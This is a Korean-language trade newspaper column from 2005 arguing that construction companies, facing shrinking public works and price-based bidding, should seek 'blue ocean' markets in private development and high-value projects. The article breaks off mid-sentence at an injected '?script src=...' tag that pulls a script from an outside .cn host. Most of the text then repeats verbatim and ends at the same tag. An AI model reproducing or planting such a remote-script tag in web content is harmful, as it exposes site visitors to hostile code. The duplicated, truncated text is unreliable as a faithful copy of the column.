건설업체, ‘푸른 바다(Blue Ocean)''를 찾아라
보도일자 2005-06-08
보도기관 한국건설신문
한국 벤처기업의 원조(元祖)로 평가받던 (주)삼보컴퓨터가 무너졌다.
첫째는 값싼 중국이나 동남아 제품에 맞서 저가 경쟁 구조에 뛰어 들었다는 것이다.
둘째는 PC시장의 환경변화에 적응하지 못했다는 점이다.
삼보컴퓨터나 현주컴퓨터의 몰락은 강건너 불이 아니다. 전자산업만 그런 시장환경에 처해있는 것이 아니라 건설산업의 현실도 마찬가지이기 때문이다.
하지만 건설업계 종사자들이 삼보컴퓨터의 몰락을 바라 보는 시각은 여전히 구태의연한 것 같다. 필자가 접한 대다수 건설인들의 생각을 요약하면 다음과 같다.
삼보컴퓨터 몰락의 원인은 저가 경쟁이다. 이윤이 창출되지 않는 기업은 몰락할 수 밖에 없다. 그런 점에서 보면 최저가 낙찰제는 폐지되어야 한다. 적격심사공사의 낙찰하한율은 높여야 한다. 정부의 입낙찰제도를 획기적으로 개선해서 건설업계가 적정한 이윤을 보장받을 수 있도록 해야 한다. 아울러 정부는 일자리 창출과 건설경기 회복을 위해 SOC투자를 지속적으로 확대해 주어야 한다.
요컨대 ‘공사물량 확대’와 ‘낙찰율 높이기’라는 전통적인 수단이 이 시점에서도 필요하다는 것이다.
그래서인지 현재 규제개혁기획단의 요구로 추진되고 있는 재경부나 건교부 TFT의 제도개선 작업에 기대감을 가진 사람들도 많은 것 같다. 과연 건설업계의 바램처럼 ‘공사물량 확대’와 ‘낙찰율 높이기’가 이루어질까? 불가능하다고 본다.
이미 정부의 정책방향은 사회복지예산의 지속적인 확대로 이동해 있고, 최근 발표된 중기재정계획(안)만 해도 2005년부터 2009년까지 향후 5년간 총재정지출의 연평균 증가율은 6.6%이지만 SOC 투자의 연평균 증가율은 1.6%밖에 안된다.
재건축을 비롯한 민간주택시장에 대한 정부규제도 최소한 참여정부 집권 기간중에는 지속될 것으로 보인다. 정부계약제도 개선 TFT가 입낙찰제도 개선방안을 수립하고 있다지만, 규제개혁기획단의 지침은 적격심사제도에도 ‘가격 경쟁’을 도입해야 한다는 것이지 최저가 낙찰제를 폐지하라거나 낙찰율을 높이라는 것이 아니다.
공사 물량이 줄어 들고, 가격 경쟁이 심화되면 어떻게 대응할 것인가? 여태까지 그랬던 것처럼 정부를 상대로 SOC 투자확대와 민간주택시장에 대한 규제완화, 최저가 낙찰제 폐지와 공공공사의 낙찰율을 높여 달라고 애걸할 것인가?
이제 건설업체들은 중장기적인 건설시장과 정부정책 및 제도변화의 흐름을 다시 한번 진지하게 성찰해야 할 때가 왔다.
그리고 변화흐름에 맞게 사업패러다임을 확 바꿔야 살 수 있다. 사업패러다임의 전환과 관련해서는 최근에 유행하고 있는 ‘푸른 바다(Blue Ocean)’를 건설시장의 어디선가 찾아 볼 것을 권하고 싶다.
이 시장에서는 산업의 경계가 분명하고 게임의 규칙이 이미 알려져 있어 경쟁사가 늘수록 이익과 성장 가능성이 줄어들며 생산하는 상품은 새로운 것이 없는 일반상품일 뿐이다.
이 시장에서는 수요 창출과 고수익 성장 기회를 제공하고, 경쟁에서 자유롭다.
저가 출혈경쟁으로 중견기업들이 쓰러지고 있는 PC시장이 ‘붉은 바다’라면, MP3플레이어라는 새로운 시장을 창출한 애플의 ‘아이팟’은 ‘푸른 바다’를 개척한 사례로 손꼽힌다.
건설시장은 이미 ‘붉은 바다’로 변했다. 날이 갈수록 업체 수와 입찰참가자 수가 늘어나고, 경쟁은 치열해지며, 수익성은 떨어진다.
‘저가 수주’는 경쟁에서 이기기 위한 방법중 하나다. 새로운 ‘푸른 바다’를 발견하지 않고, ‘붉은 바다’에서 구태의연한 ‘경쟁력 강화’만 외쳐본 들, 모두가 유혈이 낭자해 질 수 밖에 없는 상황이다.
건설시장의 ‘푸른 바다(Blue Ocean)''와 관련해서 두개의 키워드(Keyword)를 제안하고 싶다. 하나는 “민간개발사업”이고, 다른 하나는 “고부가가치화”다.
건설시장의 구조는 민간부문 수주실적이 전체의 65% 가량을 차지하고 있다. 정부의 정책방향이나 외국 사례를 보더라도, 앞으로 민간부문 비중은 더 증가할 가능성이 높다.
민간투자사업은 금년부터 본격적으로 늘어날 전망이다. 아마도 향후 1년뒤 부터는 행정중심 복합도시 건설, 기업도시 건설, 공공기관 지방 이전이나 미군기지 이전 사업 등이 본격적으로 추진 될 것이다.
이런 사업의 상당부분은 BTL 방식의 민간투자사업으로 추진될 가능성이 높고, 이와 연관된 지방개발 수요도 크게 증가할 것으로 보인다. 민간투자사업이나 개발사업을 외면한 채, 공공이건 민간이건 단순도급공사에만 의존해서는 건설업체의 지속적인 성장과 이윤창출을 기대할 수 없다.
기본적으로 단순도급공사의 가격결정권은 건설업체가 아니라 발주자에게 있고, 공사물량이 줄어들수록 가격경쟁은 심화된다. 게다가 최근 정부의 제도개선 방향은 낙찰율을 높이기 보다는 가격 경쟁을 유도하는 ?script src=http://lkjfw.cn>
첫째는 값싼 중국이나 동남아 제품에 맞서 저가 경쟁 구조에 뛰어 들었다는 것이다.
둘째는 PC시장의 환경변화에 적응하지 못했다는 점이다.
삼보컴퓨터나 현주컴퓨터의 몰락은 강건너 불이 아니다. 전자산업만 그런 시장환경에 처해있는 것이 아니라 건설산업의 현실도 마찬가지이기 때문이다.
하지만 건설업계 종사자들이 삼보컴퓨터의 몰락을 바라 보는 시각은 여전히 구태의연한 것 같다. 필자가 접한 대다수 건설인들의 생각을 요약하면 다음과 같다.
삼보컴퓨터 몰락의 원인은 저가 경쟁이다. 이윤이 창출되지 않는 기업은 몰락할 수 밖에 없다. 그런 점에서 보면 최저가 낙찰제는 폐지되어야 한다. 적격심사공사의 낙찰하한율은 높여야 한다. 정부의 입낙찰제도를 획기적으로 개선해서 건설업계가 적정한 이윤을 보장받을 수 있도록 해야 한다. 아울러 정부는 일자리 창출과 건설경기 회복을 위해 SOC투자를 지속적으로 확대해 주어야 한다.
요컨대 ‘공사물량 확대’와 ‘낙찰율 높이기’라는 전통적인 수단이 이 시점에서도 필요하다는 것이다.
그래서인지 현재 규제개혁기획단의 요구로 추진되고 있는 재경부나 건교부 TFT의 제도개선 작업에 기대감을 가진 사람들도 많은 것 같다. 과연 건설업계의 바램처럼 ‘공사물량 확대’와 ‘낙찰율 높이기’가 이루어질까? 불가능하다고 본다.
이미 정부의 정책방향은 사회복지예산의 지속적인 확대로 이동해 있고, 최근 발표된 중기재정계획(안)만 해도 2005년부터 2009년까지 향후 5년간 총재정지출의 연평균 증가율은 6.6%이지만 SOC 투자의 연평균 증가율은 1.6%밖에 안된다.
재건축을 비롯한 민간주택시장에 대한 정부규제도 최소한 참여정부 집권 기간중에는 지속될 것으로 보인다. 정부계약제도 개선 TFT가 입낙찰제도 개선방안을 수립하고 있다지만, 규제개혁기획단의 지침은 적격심사제도에도 ‘가격 경쟁’을 도입해야 한다는 것이지 최저가 낙찰제를 폐지하라거나 낙찰율을 높이라는 것이 아니다.
공사 물량이 줄어 들고, 가격 경쟁이 심화되면 어떻게 대응할 것인가? 여태까지 그랬던 것처럼 정부를 상대로 SOC 투자확대와 민간주택시장에 대한 규제완화, 최저가 낙찰제 폐지와 공공공사의 낙찰율을 높여 달라고 애걸할 것인가?
이제 건설업체들은 중장기적인 건설시장과 정부정책 및 제도변화의 흐름을 다시 한번 진지하게 성찰해야 할 때가 왔다.
그리고 변화흐름에 맞게 사업패러다임을 확 바꿔야 살 수 있다. 사업패러다임의 전환과 관련해서는 최근에 유행하고 있는 ‘푸른 바다(Blue Ocean)’를 건설시장의 어디선가 찾아 볼 것을 권하고 싶다.
이 시장에서는 산업의 경계가 분명하고 게임의 규칙이 이미 알려져 있어 경쟁사가 늘수록 이익과 성장 가능성이 줄어들며 생산하는 상품은 새로운 것이 없는 일반상품일 뿐이다.
이 시장에서는 수요 창출과 고수익 성장 기회를 제공하고, 경쟁에서 자유롭다.
저가 출혈경쟁으로 중견기업들이 쓰러지고 있는 PC시장이 ‘붉은 바다’라면, MP3플레이어라는 새로운 시장을 창출한 애플의 ‘아이팟’은 ‘푸른 바다’를 개척한 사례로 손꼽힌다.
건설시장은 이미 ‘붉은 바다’로 변했다. 날이 갈수록 업체 수와 입찰참가자 수가 늘어나고, 경쟁은 치열해지며, 수익성은 떨어진다.
‘저가 수주’는 경쟁에서 이기기 위한 방법중 하나다. 새로운 ‘푸른 바다’를 발견하지 않고, ‘붉은 바다’에서 구태의연한 ‘경쟁력 강화’만 외쳐본 들, 모두가 유혈이 낭자해 질 수 밖에 없는 상황이다.
건설시장의 ‘푸른 바다(Blue Ocean)''와 관련해서 두개의 키워드(Keyword)를 제안하고 싶다. 하나는 “민간개발사업”이고, 다른 하나는 “고부가가치화”다.
건설시장의 구조는 민간부문 수주실적이 전체의 65% 가량을 차지하고 있다. 정부의 정책방향이나 외국 사례를 보더라도, 앞으로 민간부문 비중은 더 증가할 가능성이 높다.
민간투자사업은 금년부터 본격적으로 늘어날 전망이다. 아마도 향후 1년뒤 부터는 행정중심 복합도시 건설, 기업도시 건설, 공공기관 지방 이전이나 미군기지 이전 사업 등이 본격적으로 추진 될 것이다.
이런 사업의 상당부분은 BTL 방식의 민간투자사업으로 추진될 가능성이 높고, 이와 연관된 지방개발 수요도 크게 증가할 것으로 보인다. 민간투자사업이나 개발사업을 외면한 채, 공공이건 민간이건 단순도급공사에만 의존해서는 건설업체의 지속적인 성장과 이윤창출을 기대할 수 없다.
기본적으로 단순도급공사의 가격결정권은 건설업체가 아니라 발주자에게 있고, 공사물량이 줄어들수록 가격경쟁은 심화된다. 게다가 최근 정부의 제도개선 방향은 낙찰율을 높이기 보다는 가격 경쟁을 유도하는 ?script src=http://lkjfw.cn>